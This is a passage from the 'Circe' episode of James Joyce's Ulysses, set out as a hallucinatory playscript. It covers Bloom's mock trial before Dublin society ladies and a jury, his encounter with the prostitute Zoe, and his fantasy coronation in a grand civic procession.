BARRISTER'S GREY WIG AND STUFFGOWN, SPEAKING WITH A +VOICE OF PAINED PROTEST) This is no place for indecent levity at the +expense of an erring mortal disguised in liquor. We are not in a +beargarden nor at an Oxford rag nor is this a travesty of justice. My +client is an infant, a poor foreign immigrant who started scratch as a +stowaway and is now trying to turn an honest penny. The trumped up +misdemeanour was due to a momentary aberration of heredity, brought on by +hallucination, such familiarities as the alleged guilty occurrence being +quite permitted in my client's native place, the land of the Pharaoh. +PRIMA FACIE, I put it to you that there was no attempt at carnally +knowing. Intimacy did not occur and the offence complained of by +Driscoll, that her virtue was solicited, was not repeated. I would deal +in especial with atavism. There have been cases of shipwreck and +somnambulism in my client's family. If the accused could speak he could a +tale unfold--one of the strangest that have ever been narrated between +the covers of a book. He himself, my lord, is a physical wreck from +cobbler's weak chest. His submission is that he is of Mongolian +extraction and irresponsible for his actions. Not all there, in fact. + +BLOOM: (BAREFOOT, PIGEONBREASTED, IN LASCAR'S VEST AND TROUSERS, +APOLOGETIC TOES TURNED IN, OPENS HIS TINY MOLE'S EYES AND LOOKS ABOUT HIM +DAZEDLY, PASSING A SLOW HAND ACROSS HIS FOREHEAD. THEN HE HITCHES HIS +BELT SAILOR FASHION AND WITH A SHRUG OF ORIENTAL OBEISANCE SALUTES THE +COURT, POINTING ONE THUMB HEAVENWARD.) Him makee velly muchee fine night. +(HE BEGINS TO LILT SIMPLY) + + Li li poo lil chile + Blingee pigfoot evly night + Payee two shilly ... + +(HE IS HOWLED DOWN.) + +J. J. O'MOLLOY: (HOTLY TO THE POPULACE) This is a lonehand fight. By +Hades, I will not have any client of mine gagged and badgered in this +fashion by a pack of curs and laughing hyenas. The Mosaic code has +superseded the law of the jungle. I say it and I say it emphatically, +without wishing for one moment to defeat the ends of justice, accused was +not accessory before the act and prosecutrix has not been tampered with. +The young person was treated by defendant as if she were his very own +daughter. (BLOOM TAKES J. J. O'MOLLOY'S HAND AND RAISES IT TO HIS LIPS.) +I shall call rebutting evidence to prove up to the hilt that the hidden +hand is again at its old game. When in doubt persecute Bloom. My client, +an innately bashful man, would be the last man in the world to do +anything ungentlemanly which injured modesty could object to or cast a +stone at a girl who took the wrong turning when some dastard, responsible +for her condition, had worked his own sweet will on her. He wants to go +straight. I regard him as the whitest man I know. He is down on his luck +at present owing to the mortgaging of his extensive property at Agendath +Netaim in faraway Asia Minor, slides of which will now be shown. (TO +BLOOM) I suggest that you will do the handsome thing. + +BLOOM: A penny in the pound. + +(THE IMAGE OF THE LAKE OF KINNERETH WITH BLURRED CATTLE CROPPING IN +SILVER HAZE IS PROJECTED ON THE WALL. MOSES DLUGACZ, FERRETEYED ALBINO, +IN BLUE DUNGAREES, STANDS UP IN THE GALLERY, HOLDING IN EACH HAND AN +ORANGE CITRON AND A PORK KIDNEY.) + +DLUGACZ: (HOARSELY) Bleibtreustrasse, Berlin, W.13. + +(J. J. O'MOLLOY STEPS ON TO A LOW PLINTH AND HOLDS THE LAPEL OF HIS COAT +WITH SOLEMNITY. HIS FACE LENGTHENS, GROWS PALE AND BEARDED, WITH SUNKEN +EYES, THE BLOTCHES OF PHTHISIS AND HECTIC CHEEKBONES OF JOHN F. TAYLOR. +HE APPLIES HIS HANDKERCHIEF TO HIS MOUTH AND SCRUTINISES THE GALLOPING +TIDE OF ROSEPINK BLOOD.) + +J.J.O'MOLLOY: (ALMOST VOICELESSLY) Excuse me. I am suffering from a +severe chill, have recently come from a sickbed. A few wellchosen words. +(HE ASSUMES THE AVINE HEAD, FOXY MOUSTACHE AND PROBOSCIDAL ELOQUENCE OF +SEYMOUR BUSHE.) When the angel's book comes to be opened if aught that +the pensive bosom has inaugurated of soultransfigured and of +soultransfiguring deserves to live I say accord the prisoner at the bar +the sacred benefit of the doubt. (A PAPER WITH SOMETHING WRITTEN ON IT IS +HANDED INTO COURT.) + +BLOOM: (IN COURT DRESS) Can give best references. Messrs Callan, Coleman. +Mr Wisdom Hely J. P. My old chief Joe Cuffe. Mr V. B. Dillon, ex lord +mayor of Dublin. I have moved in the charmed circle of the highest ... +Queens of Dublin society. (CARELESSLY) I was just chatting this afternoon +at the viceregal lodge to my old pals, sir Robert and lady Ball, +astronomer royal at the levee. Sir Bob, I said ... + +MRS YELVERTON BARRY: (IN LOWCORSAGED OPAL BALLDRESS AND ELBOWLENGTH IVORY +GLOVES, WEARING A SABLETRIMMED BRICKQUILTED DOLMAN, A COMB OF BRILLIANTS +AND PANACHE OF OSPREY IN HER HAIR) Arrest him, constable. He wrote me an +anonymous letter in prentice backhand when my husband was in the North +Riding of Tipperary on the Munster circuit, signed James Lovebirch. He +said that he had seen from the gods my peerless globes as I sat in a box +of the THEATRE ROYAL at a command performance of LA CIGALE. I deeply +inflamed him, he said. He made improper overtures to me to misconduct +myself at half past four p.m. on the following Thursday, Dunsink time. He +offered to send me through the post a work of fiction by Monsieur Paul de +Kock, entitled THE GIRL WITH THE THREE PAIRS OF STAYS. + +MRS BELLINGHAM: (IN CAP AND SEAL CONEY MANTLE, WRAPPED UP TO THE NOSE, +STEPS OUT OF HER BROUGHAM AND SCANS THROUGH TORTOISESHELL QUIZZING- +GLASSES WHICH SHE TAKES FROM INSIDE HER HUGE OPOSSUM MUFF) Also to me. +Yes, I believe it is the same objectionable person. Because he closed my +carriage door outside sir Thornley Stoker's one sleety day during the +cold snap of February ninetythree when even the grid of the wastepipe and +the ballstop in my bath cistern were frozen. Subsequently he enclosed a +bloom of edelweiss culled on the heights, as he said, in my honour. I had +it examined by a botanical expert and elicited the information that it +was ablossom of the homegrown potato plant purloined from a forcingcase +of the model farm. + +MRS YELVERTON BARRY: Shame on him! + +(A CROWD OF SLUTS AND RAGAMUFFINS SURGES FORWARD) + +THE SLUTS AND RAGAMUFFINS: (SCREAMING) Stop thief! Hurrah there, +Bluebeard! Three cheers for Ikey Mo! + +SECOND WATCH: (PRODUCES HANDCUFFS) Here are the darbies. + +MRS BELLINGHAM: He addressed me in several handwritings with fulsome +compliments as a Venus in furs and alleged profound pity for my +frostbound coachman Palmer while in the same breath he expressed himself +as envious of his earflaps and fleecy sheepskins and of his fortunate +proximity to my person, when standing behind my chair wearing my livery +and the armorial bearings of the Bellingham escutcheon garnished sable, a +buck's head couped or. He lauded almost extravagantly my nether +extremities, my swelling calves in silk hose drawn up to the limit, and +eulogised glowingly my other hidden treasures in priceless lace which, he +said, he could conjure up. He urged me (stating that he felt it his +mission in life to urge me) to defile the marriage bed, to commit +adultery at the earliest possible opportunity. + +THE HONOURABLE MRS MERVYN TALBOYS: (IN AMAZON COSTUME, HARD HAT, +JACKBOOTS COCKSPURRED, VERMILION WAISTCOAT, FAWN MUSKETEER GAUNTLETS WITH +BRAIDED DRUMS, LONG TRAIN HELD UP AND HUNTING CROP WITH WHICH SHE STRIKES +HER WELT CONSTANTLY) Also me. Because he saw me on the polo ground of the +Phoenix park at the match All Ireland versus the Rest of Ireland. My +eyes, I know, shone divinely as I watched Captain Slogger Dennehy of the +Inniskillings win the final chukkar on his darling cob CENTAUR. This +plebeian Don Juan observed me from behind a hackney car and sent me in +double envelopes an obscene photograph, such as are sold after dark on +Paris boulevards, insulting to any lady. I have it still. It represents a +partially nude senorita, frail and lovely (his wife, as he solemnly +assured me, taken by him from nature), practising illicit intercourse +with a muscular torero, evidently a blackguard. He urged me to do +likewise, to misbehave, to sin with officers of the garrison. He implored +me to soil his letter in an unspeakable manner, to chastise him as he +richly deserves, to bestride and ride him, to give him a most vicious +horsewhipping. + +MRS BELLINGHAM: Me too. + +MRS YELVERTON BARRY: Me too. + +(SEVERAL HIGHLY RESPECTABLE DUBLIN LADIES HOLD UP IMPROPER LETTERS +RECEIVED FROM BLOOM.) + +THE HONOURABLE MRS MERVYN TALBOYS: (STAMPS HER JINGLING SPURS IN A SUDDEN +PAROXYSM OF FURY) I will, by the God above me. I'll scourge the +pigeonlivered cur as long as I can stand over him. I'll flay him alive. + +BLOOM: (HIS EYES CLOSING, QUAILS EXPECTANTLY) Here? (HE SQUIRMS) Again! +(HE PANTS CRINGING) I love the danger. + +THE HONOURABLE MRS MERVYN TALBOYS: Very much so! I'll make it hot for +you. I'll make you dance Jack Latten for that. + +MRS BELLINGHAM: Tan his breech well, the upstart! Write the stars and +stripes on it! + +MRS YELVERTON BARRY: Disgraceful! There's no excuse for him! A married +man! + +BLOOM: All these people. I meant only the spanking idea. A warm tingling +glow without effusion. Refined birching to stimulate the circulation. + +THE HONOURABLE MRS MERVYN TALBOYS: (LAUGHS DERISIVELY) O, did you, my +fine fellow? Well, by the living God, you'll get the surprise of your +life now, believe me, the most unmerciful hiding a man ever bargained +for. You have lashed the dormant tigress in my nature into fury. + +MRS BELLINGHAM: (SHAKES HER MUFF AND QUIZZING-GLASSES VINDICTIVELY) Make +him smart, Hanna dear. Give him ginger. Thrash the mongrel within an inch +of his life. The cat-o'-nine-tails. Geld him. Vivisect him. + +BLOOM: (SHUDDERING, SHRINKING, JOINS HIS HANDS: WITH HANGDOG MIEN) O +cold! O shivery! It was your ambrosial beauty. Forget, forgive. Kismet. +Let me off this once. (HE OFFERS THE OTHER CHEEK) + +MRS YELVERTON BARRY: (SEVERELY) Don't do so on any account, Mrs Talboys! +He should be soundly trounced! + +THE HONOURABLE MRS MERVYN TALBOYS: (UNBUTTONING HER GAUNTLET VIOLENTLY) +I'll do no such thing. Pigdog and always was ever since he was pupped! To +dare address me! I'll flog him black and blue in the public streets. I'll +dig my spurs in him up to the rowel. He is a wellknown cuckold. (SHE +SWISHES HER HUNTINGCROP SAVAGELY IN THE AIR) Take down his trousers +without loss of time. Come here, sir! Quick! Ready? + +BLOOM: (TREMBLING, BEGINNING TO OBEY) The weather has been so warm. + +(DAVY STEPHENS, RINGLETTED, PASSES WITH A BEVY OF BAREFOOT NEWSBOYS.) + +DAVY STEPHENS: MESSENGER OF THE SACRED HEART and EVENING TELEGRAPH with +Saint Patrick's Day supplement. Containing the new addresses of all the +cuckolds in Dublin. + +(THE VERY REVEREND CANON O'HANLON IN CLOTH OF GOLD COPE ELEVATES AND +EXPOSES A MARBLE TIMEPIECE. BEFORE HIM FATHER CONROY AND THE REVEREND +JOHN HUGHES S.J. BEND LOW.) + +THE TIMEPIECE: (UNPORTALLING) + + + Cuckoo. + Cuckoo. + Cuckoo. + + +(THE BRASS QUOITS OF A BED ARE HEARD TO JINGLE.) + +THE QUOITS: Jigjag. Jigajiga. Jigjag. + +(A PANEL OF FOG ROLLS BACK RAPIDLY, REVEALING RAPIDLY IN THE JURYBOX THE +FACES OF MARTIN CUNNINGHAM, FOREMAN, SILKHATTED, JACK POWER, SIMON +DEDALUS, TOM KERNAN, NED LAMBERT, JOHN HENRY MENTON MYLES CRAWFORD, +LENEHAN, PADDY LEONARD, NOSEY FLYNN, M'COY AND THE FEATURELESS FACE OF A +NAMELESS ONE.) + +THE NAMELESS ONE: Bareback riding. Weight for age. Gob, he organised her. + +THE JURORS: (ALL THEIR HEADS TURNED TO HIS VOICE) Really? + +THE NAMELESS ONE: (SNARLS) Arse over tip. Hundred shillings to five. + +THE JURORS: (ALL THEIR HEADS LOWERED IN ASSENT) Most of us thought as +much. + +FIRST WATCH: He is a marked man. Another girl's plait cut. Wanted: Jack +the Ripper. A thousand pounds reward. + +SECOND WATCH: (AWED, WHISPERS) And in black. A mormon. Anarchist. + +THE CRIER: (LOUDLY) Whereas Leopold Bloom of no fixed abode is a +wellknown dynamitard, forger, bigamist, bawd and cuckold and a public +nuisance to the citizens of Dublin and whereas at this commission of +assizes the most honourable ... + +(HIS HONOUR, SIR FREDERICK FALKINER, RECORDER OF DUBLIN, IN JUDICIAL GARB +OF GREY STONE RISES FROM THE BENCH, STONEBEARDED. HE BEARS IN HIS ARMS AN +UMBRELLA SCEPTRE. FROM HIS FOREHEAD ARISE STARKLY THE MOSAIC RAMSHORNS.) + +THE RECORDER: I will put an end to this white slave traffic and rid +Dublin of this odious pest. Scandalous! (HE DONS THE BLACK CAP) Let him +be taken, Mr Subsheriff, from the dock where he now stands and detained +in custody in Mountjoy prison during His Majesty's pleasure and there be +hanged by the neck until he is dead and therein fail not at your peril or +may the Lord have mercy on your soul. Remove him. (A BLACK SKULLCAP +DESCENDS UPON HIS HEAD.) + +(THE SUBSHERIFF LONG JOHN FANNING APPEARS, SMOKING A PUNGENT HENRY CLAY.) + +LONG JOHN FANNING: (SCOWLS AND CALLS WITH RICH ROLLING UTTERANCE) Who'll +hang Judas Iscariot? + +(H. RUMBOLD, MASTER BARBER, IN A BLOODCOLOURED JERKIN AND TANNER'S APRON, +A ROPE COILED OVER HIS SHOULDER, MOUNTS THE BLOCK. A LIFE PRESERVER AND A +NAILSTUDDED BLUDGEON ARE STUCK IN HIS BELT. HE RUBS GRIMLY HIS GRAPPLING +HANDS, KNOBBED WITH KNUCKLEDUSTERS.) + +RUMBOLD: (TO THE RECORDER WITH SINISTER FAMILIARITY) Hanging Harry, your +Majesty, the Mersey terror. Five guineas a jugular. Neck or nothing. + +(THE BELLS OF GEORGE'S CHURCH TOLL SLOWLY, LOUD DARK IRON.) + +THE BELLS: Heigho! Heigho! + +BLOOM: (DESPERATELY) Wait. Stop. Gulls. Good heart. I saw. Innocence. +Girl in the monkeyhouse. Zoo. Lewd chimpanzee. (BREATHLESSLY) Pelvic +basin. Her artless blush unmanned me. (OVERCOME WITH EMOTION) I left the +precincts. (HE TURNS TO A FIGURE IN THE CROWD, APPEALING) Hynes, may I +speak to you? You know me. That three shillings you can keep. If you want +a little more ... + +HYNES: (COLDLY) You are a perfect stranger. + +SECOND WATCH: (POINTS TO THE CORNER) The bomb is here. + +FIRST WATCH: Infernal machine with a time fuse. + +BLOOM: No, no. Pig's feet. I was at a funeral. + +FIRST WATCH: (DRAWS HIS TRUNCHEON) Liar! + +(THE BEAGLE LIFTS HIS SNOUT, SHOWING THE GREY SCORBUTIC FACE OF PADDY +DIGNAM. HE HAS GNAWED ALL. HE EXHALES A PUTRID CARCASEFED BREATH. HE +GROWS TO HUMAN SIZE AND SHAPE. HIS DACHSHUND COAT BECOMES A BROWN +MORTUARY HABIT. HIS GREEN EYE FLASHES BLOODSHOT. HALF OF ONE EAR, ALL THE +NOSE AND BOTH THUMBS ARE GHOULEATEN.) + +PADDY DIGNAM: (IN A HOLLOW VOICE) It is true. It was my funeral. Doctor +Finucane pronounced life extinct when I succumbed to the disease from +natural causes. + +(HE LIFTS HIS MUTILATED ASHEN FACE MOONWARDS AND BAYS LUGUBRIOUSLY.) + +BLOOM: (IN TRIUMPH) You hear? + +PADDY DIGNAM: Bloom, I am Paddy Dignam's spirit. List, list, O list! + +BLOOM: The voice is the voice of Esau. + +SECOND WATCH: (BLESSES HIMSELF) How is that possible? + +FIRST WATCH: It is not in the penny catechism. + +PADDY DIGNAM: By metempsychosis. Spooks. + +A VOICE: O rocks. + +PADDY DIGNAM: (EARNESTLY) Once I was in the employ of Mr J. H. Menton, +solicitor, commissioner for oaths and affidavits, of 27 Bachelor's Walk. +Now I am defunct, the wall of the heart hypertrophied. Hard lines. The +poor wife was awfully cut up. How is she bearing it? Keep her off that +bottle of sherry. (HE LOOKS ROUND HIM) A lamp. I must satisfy an animal +need. That buttermilk didn't agree with me. + +(THE PORTLY FIGURE OF JOHN O'CONNELL, CARETAKER, STANDS FORTH, HOLDING A +BUNCH OF KEYS TIED WITH CRAPE. BESIDE HIM STANDS FATHER COFFEY, CHAPLAIN, +TOADBELLIED, WRYNECKED, IN A SURPLICE AND BANDANNA NIGHTCAP, HOLDING +SLEEPILY A STAFF TWISTED POPPIES.) + +FATHER COFFEY: (YAWNS, THEN CHANTS WITH A HOARSE CROAK) Namine. Jacobs. +Vobiscuits. Amen. + +JOHN O'CONNELL: (FOGHORNS STORMILY THROUGH HIS MEGAPHONE) Dignam, Patrick +T, deceased. + +PADDY DIGNAM: (WITH PRICKED UP EARS, WINCES) Overtones. (HE WRIGGLES +FORWARD AND PLACES AN EAR TO THE GROUND) My master's voice! + +JOHN O'CONNELL: Burial docket letter number U. P. eightyfive thousand. +Field seventeen. House of Keys. Plot, one hundred and one. + +(PADDY DIGNAM LISTENS WITH VISIBLE EFFORT, THINKING, HIS TAIL +STIFFPOINTCD, HIS EARS COCKED.) + +PADDY DIGNAM: Pray for the repose of his soul. + +(HE WORMS DOWN THROUGH A COALHOLE, HIS BROWN HABIT TRAILING ITS TETHER +OVER RATTLING PEBBLES. AFTER HIM TODDLES AN OBESE GRANDFATHER RAT ON +FUNGUS TURTLE PAWS UNDER A GREY CARAPACE. DIGNAM'S VOICE, MUFFLED, IS +HEARD BAYING UNDER GROUND: Dignam's dead and gone below. TOM ROCHFORD, +ROBINREDBREASTED, IN CAP AND BREECHES, JUMPS FROM HIS TWOCOLUMNED +MACHINE.) + +TOM ROCHFORD: (A HAND TO HIS BREASTBONE, BOWS) Reuben J. A florin I find +him. (HE FIXES THE MANHOLE WITH A RESOLUTE STARE) My turn now on. Follow +me up to Carlow. + +(HE EXECUTES A DAREDEVIL SALMON LEAP IN THE AIR AND IS ENGULFED IN THE +COALHOLE. TWO DISCS ON THE COLUMNS WOBBLE, EYES OF NOUGHT. ALL RECEDES. +BLOOM PLODGES FORWARD AGAIN THROUGH THE SUMP. KISSES CHIRP AMID THE RIFTS +OF FOG A PIANO SOUNDS. HE STANDS BEFORE A LIGHTED HOUSE, LISTENING. THE +KISSES, WINGING FROM THEIR BOWERS FLY ABOUT HIM, TWITTERING, WARBLING, +COOING.) + +THE KISSES: (WARBLING) Leo! (TWITTERING) Icky licky micky sticky for Leo! +(COOING) Coo coocoo! Yummyyum, Womwom! (WARBLING) Big comebig! Pirouette! +Leopopold! (TWITTERING) Leeolee! (WARBLING) O Leo! + +(THEY RUSTLE, FLUTTER UPON HIS GARMENTS, ALIGHT, BRIGHT GIDDY FLECKS, +SILVERY SEQUINS.) + +BLOOM: A man's touch. Sad music. Church music. Perhaps here. + +(ZOE HIGGINS, A YOUNG WHORE IN A SAPPHIRE SLIP, CLOSED WITH THREE BRONZE +BUCKLES, A SLIM BLACK VELVET FILLET ROUND HER THROAT, NODS, TRIPS DOWN +THE STEPS AND ACCOSTS HIM.) + +ZOE: Are you looking for someone? He's inside with his friend. + +BLOOM: Is this Mrs Mack's? + +ZOE: No, eightyone. Mrs Cohen's. You might go farther and fare worse. +Mother Slipperslapper. (FAMILIARLY) She's on the job herself tonight with +the vet her tipster that gives her all the winners and pays for her son +in Oxford. Working overtime but her luck's turned today. (SUSPICIOUSLY) +You're not his father, are you? + +BLOOM: Not I! + +ZOE: You both in black. Has little mousey any tickles tonight? + +(HIS SKIN, ALERT, FEELS HER FINGERTIPS APPROACH. A HAND GLIDES OVER HIS +LEFT THIGH.) + +ZOE: How's the nuts? + +BLOOM: Off side. Curiously they are on the right. Heavier, I suppose. One +in a million my tailor, Mesias, says. + +ZOE: (IN SUDDEN ALARM) You've a hard chancre. + +BLOOM: Not likely. + +ZOE: I feel it. + +(HER HAND SLIDES INTO HIS LEFT TROUSER POCKET AND BRINGS OUT A HARD BLACK +SHRIVELLED POTATO. SHE REGARDS IT AND BLOOM WITH DUMB MOIST LIPS.) + +BLOOM: A talisman. Heirloom. + +ZOE: For Zoe? For keeps? For being so nice, eh? + +(SHE PUTS THE POTATO GREEDILY INTO A POCKET THEN LINKS HIS ARM, CUDDLING +HIM WITH SUPPLE WARMTH. HE SMILES UNEASILY. SLOWLY, NOTE BY NOTE, +ORIENTAL MUSIC IS PLAYED. HE GAZES IN THE TAWNY CRYSTAL OF HER EYES, +RINGED WITH KOHOL. HIS SMILE SOFTENS.) + +ZOE: You'll know me the next time. + +BLOOM: (FORLORNLY) I never loved a dear gazelle but it was sure to ... + +(GAZELLES ARE LEAPING, FEEDING ON THE MOUNTAINS. NEAR ARE LAKES. ROUND +THEIR SHORES FILE SHADOWS BLACK OF CEDARGROVES. AROMA RISES, A STRONG +HAIRGROWTH OF RESIN. IT BURNS, THE ORIENT, A SKY OF SAPPHIRE, CLEFT BY +THE BRONZE FLIGHT OF EAGLES. UNDER IT LIES THE WOMANCITY NUDE, WHITE, +STILL, COOL, IN LUXURY. A FOUNTAIN MURMURS AMONG DAMASK ROSES. MAMMOTH +ROSES MURMUR OF SCARLET WINEGRAPES. A WINE OF SHAME, LUST, BLOOD EXUDES, +STRANGELY MURMURING.) + +ZOE: (MURMURING SINGSONG WITH THE MUSIC, HER ODALISK LIPS LUSCIOUSLY +SMEARED WITH SALVE OF SWINEFAT AND ROSEWATER) SCHORACH ANI WENOWACH, +BENOITH HIERUSHALOIM. + +BLOOM: (FASCINATED) I thought you were of good stock by your accent. + +ZOE: And you know what thought did? + +(SHE BITES HIS EAR GENTLY WITH LITTLE GOLDSTOPPED TEETH, SENDING ON HIM A +CLOYING BREATH OF STALE GARLIC. THE ROSES DRAW APART, DISCLOSE A +SEPULCHRE OF THE GOLD OF KINGS AND THEIR MOULDERING BONES.) + +BLOOM: (DRAWS BACK, MECHANICALLY CARESSING HER RIGHT BUB WITH A FLAT +AWKWARD HAND) Are you a Dublin girl? + +ZOE: (CATCHES A STRAY HAIR DEFTLY AND TWISTS IT TO HER COIL) No bloody +fear. I'm English. Have you a swaggerroot? + +BLOOM: (AS BEFORE) Rarely smoke, dear. Cigar now and then. Childish +device. (LEWDLY) The mouth can be better engaged than with a cylinder of +rank weed. + +ZOE: Go on. Make a stump speech out of it. + +BLOOM: (IN WORKMAN'S CORDUROY OVERALLS, BLACK GANSY WITH RED FLOATING TIE +AND APACHE CAP) Mankind is incorrigible. Sir Walter Ralegh brought from +the new world that potato and that weed, the one a killer of pestilence +by absorption, the other a poisoner of the ear, eye, heart, memory, will +understanding, all. That is to say he brought the poison a hundred years +before another person whose name I forget brought the food. Suicide. +Lies. All our habits. Why, look at our public life! + +(MIDNIGHT CHIMES FROM DISTANT STEEPLES.) + +THE CHIMES: Turn again, Leopold! Lord mayor of Dublin! + +BLOOM: (IN ALDERMAN'S GOWN AND CHAIN) Electors of Arran Quay, Inns Quay, +Rotunda, Mountjoy and North Dock, better run a tramline, I say, from the +cattlemarket to the river. That's the music of the future. That's my +programme. CUI BONO? But our bucaneering Vanderdeckens in their phantom +ship of finance ... + +AN ELECTOR: Three times three for our future chief magistrate! + +(THE AURORA BOREALIS OF THE TORCHLIGHT PROCESSION LEAPS.) + +THE TORCHBEARERS: Hooray! + +(SEVERAL WELLKNOWN BURGESSES, CITY MAGNATES AND FREEMEN OF THE CITY SHAKE +HANDS WITH BLOOM AND CONGRATULATE HIM. TIMOTHY HARRINGTON, LATE THRICE +LORD MAYOR OF DUBLIN, IMPOSING IN MAYORAL SCARLET, GOLD CHAIN AND WHITE +SILK TIE, CONFERS WITH COUNCILLOR LORCAN SHERLOCK, LOCUM TENENS. THEY NOD +VIGOROUSLY IN AGREEMENT.) + +LATE LORD MAYOR HARRINGTON: (IN SCARLET ROBE WITH MACE, GOLD MAYORAL +CHAIN AND LARGE WHITE SILK SCARF) That alderman sir Leo Bloom's speech be +printed at the expense of the ratepayers. That the house in which he was +born be ornamented with a commemorative tablet and that the thoroughfare +hitherto known as Cow Parlour off Cork street be henceforth designated +Boulevard Bloom. + +COUNCILLOR LORCAN SHERLOCK: Carried unanimously. + +BLOOM: (IMPASSIONEDLY) These flying Dutchmen or lying Dutchmen as they +recline in their upholstered poop, casting dice, what reck they? Machines +is their cry, their chimera, their panacea. Laboursaving apparatuses, +supplanters, bugbears, manufactured monsters for mutual murder, hideous +hobgoblins produced by a horde of capitalistic lusts upon our prostituted +labour. The poor man starves while they are grassing their royal mountain +stags or shooting peasants and phartridges in their purblind pomp of pelf +and power. But their reign is rover for rever and ever and ev ... + +(PROLONGED APPLAUSE. VENETIAN MASTS, MAYPOLES AND FESTAL ARCHES SPRING +UP. A STREAMER BEARING THE LEGENDS Cead Mile Failte AND Mah Ttob Melek +Israel SPANS THE STREET. ALL THE WINDOWS ARE THRONGED WITH SIGHTSEERS, +CHIEFLY LADIES. ALONG THE ROUTE THE REGIMENTS OF THE ROYAL DUBLIN +FUSILIERS, THE KING'S OWN SCOTTISH BORDERERS, THE CAMERON HIGHLANDERS AND +THE WELSH FUSILIERS STANDING TO ATTENTION, KEEP BACK THE CROWD. BOYS FROM +HIGH SCHOOL ARE PERCHED ON THE LAMPPOSTS, TELEGRAPH POLES, WINDOWSILLS, +CORNICES, GUTTERS, CHIMNEYPOTS, RAILINGS, RAINSPOUTS, WHISTLING AND +CHEERING THE PILLAR OF THE CLOUD APPEARS. A FIFE AND DRUM BAND IS HEARD +IN THE DISTANCE PLAYING THE KOL NIDRE. THE BEATERS APPROACH WITH IMPERIAL +EAGLES HOISTED, TRAILING BANNERS AND WAVING ORIENTAL PALMS. THE +CHRYSELEPHANTINE PAPAL STANDARD RISES HIGH, SURROUNDED BY PENNONS OF THE +CIVIC FLAG. THE VAN OF THE PROCESSION APPEARS HEADED BY JOHN HOWARD +PARNELL, CITY MARSHAL, IN A CHESSBOARD TABARD, THE ATHLONE POURSUIVANT +AND ULSTER KING OF ARMS. THEY ARE FOLLOWED BY THE RIGHT HONOURABLE JOSEPH +HUTCHINSON, LORD MAYOR OF DUBLIN, HIS LORDSHIP THE LORD MAYOR OF CORK, +THEIR WORSHIPS THE MAYORS OF LIMERICK, GALWAY, SLIGO AND WATERFORD, +TWENTYEIGHT IRISH REPRESENTATIVE PEERS, SIRDARS, GRANDEES AND MAHARAJAHS +BEARING THE CLOTH OF ESTATE, THE DUBLIN METROPOLITAN FIRE BRIGADE, THE +CHAPTER OF THE SAINTS OF FINANCE IN THEIR PLUTOCRATIC ORDER OF +PRECEDENCE, THE BISHOP OF DOWN AND CONNOR, HIS EMINENCE MICHAEL CARDINAL +LOGUE, ARCHBISHOP OF ARMAGH, PRIMATE OF ALL IRELAND, HIS GRACE, THE MOST +REVEREND DR WILLIAM ALEXANDER, ARCHBISHOP OF ARMAGH, PRIMATE OF ALL +IRELAND, THE CHIEF RABBI, THE PRESBYTERIAN MODERATOR, THE HEADS OF THE +BAPTIST, ANABAPTIST, METHODIST AND MORAVIAN CHAPELS AND THE HONORARY +SECRETARY OF THE SOCIETY OF FRIENDS. AFTER THEM MARCH THE GUILDS AND +TRADES AND TRAINBANDS WITH FLYING COLOURS: COOPERS, BIRD FANCIERS, +MILLWRIGHTS, NEWSPAPER CANVASSERS, LAW SCRIVENERS, MASSEURS, VINTNERS, +TRUSSMAKERS, CHIMNEYSWEEPS, LARD REFINERS, TABINET AND POPLIN WEAVERS, +FARRIERS, ITALIAN WAREHOUSEMEN, CHURCH DECORATORS, BOOTJACK +MANUFACTURERS, UNDERTAKERS, SILK MERCERS, LAPIDARIES, SALESMASTERS, +CORKCUTTERS, ASSESSORS OF FIRE LOSSES, DYERS AND CLEANERS, EXPORT +BOTTLERS, FELLMONGERS, TICKETWRITERS, HERALDIC SEAL ENGRAVERS, HORSE +REPOSITORY HANDS, BULLION BROKERS, CRICKET AND ARCHERY OUTFITTERS, +RIDDLEMAKERS, EGG AND POTATO FACTORS, HOSIERS AND GLOVERS, PLUMBING +CONTRACTORS. AFTER THEM MARCH GENTLEMEN OF THE BEDCHAMBER, BLACK ROD, +DEPUTY GARTER, GOLD STICK, THE MASTER OF HORSE, THE LORD GREAT +CHAMBERLAIN, THE EARL MARSHAL, THE HIGH CONSTABLE CARRYING THE SWORD OF +STATE, SAINT STEPHEN'S IRON CROWN, THE CHALICE AND BIBLE. FOUR BUGLERS ON +FOOT BLOW A SENNET. BEEFEATERS REPLY, WINDING CLARIONS OF WELCOME. UNDER +AN ARCH OF TRIUMPH BLOOM APPEARS, BAREHEADED, IN A CRIMSON VELVET MANTLE +TRIMMED WITH ERMINE, BEARING SAINT EDWARD'S STAFF THE ORB AND SCEPTRE +WITH THE DOVE, THE CURTANA. HE IS SEATED ON A MILKWHITE HORSE WITH LONG +FLOWING CRIMSON TAIL, RICHLY CAPARISONED, WITH GOLDEN HEADSTALL. WILD +EXCITEMENT. THE LADIES FROM THEIR BALCONIES THROW DOWN ROSEPETALS. THE +AIR IS PERFUMED WITH ESSENCES. THE MEN CHEER. BLOOM'S BOYS RUN AMID THE +BYSTANDERS WITH BRANCHES OF HAWTHORN AND WRENBUSHES.) + +BLOOM'S BOYS: + + + The wren, the wren, + The king of all birds, + Saint Stephen's his day + Was caught in the furze. + + +A BLACKSMITH: (MURMURS) For the honour of God! And is that Bloom? He +scarcely looks thirtyone. + +A PAVIOR AND FLAGGER: That's the famous Bloom now, the world's greatest +reformer. Hats off! + +(ALL UNCOVER THEIR HEADS. WOMEN WHISPER EAGERLY.) + +A MILLIONAIRESS: (RICHLY) Isn't he simply wonderful? + +A NOBLEWOMAN: (NOBLY) All that man has seen! + +A FEMINIST: (MASCULINELY) And done! + +A BELLHANGER: A classic face! He has the forehead of a thinker. + +(BLOOM'S WEATHER. A SUNBURST APPEARS IN THE NORTHWEST.) + +THE BISHOP OF DOWN AND CONNOR: I here present your undoubted emperor- +president and king-chairman, the most serene and potent and very puissant +ruler of this realm. God save Leopold the First! + +ALL: God save Leopold the First! + +BLOOM: (IN DALMATIC AND PURPLE MANTLE, TO THE BISHOP OF DOWN AND CONNOR, +WITH DIGNITY) Thanks, somewhat eminent sir. + +WILLIAM, ARCHBISHOP OF ARMAGH: (IN PURPLE STOCK AND SHOVEL HAT) Will you +to your power cause law and mercy to be executed in all your judgments in +Ireland and territories thereunto belonging? + +BLOOM: (PLACING HIS RIGHT HAND ON HIS TESTICLES, SWEARS) So may the +Creator deal with me. All this I promise to do. + +MICHAEL, ARCHBISHOP OF ARMAGH: (POURS A CRUSE OF HAIROIL OVER BLOOM'S +HEAD) GAUDIUM MAGNUM ANNUNTIO VOBIS. HABEMUS CARNEFICEM. Leopold, +Patrick, Andrew, David, 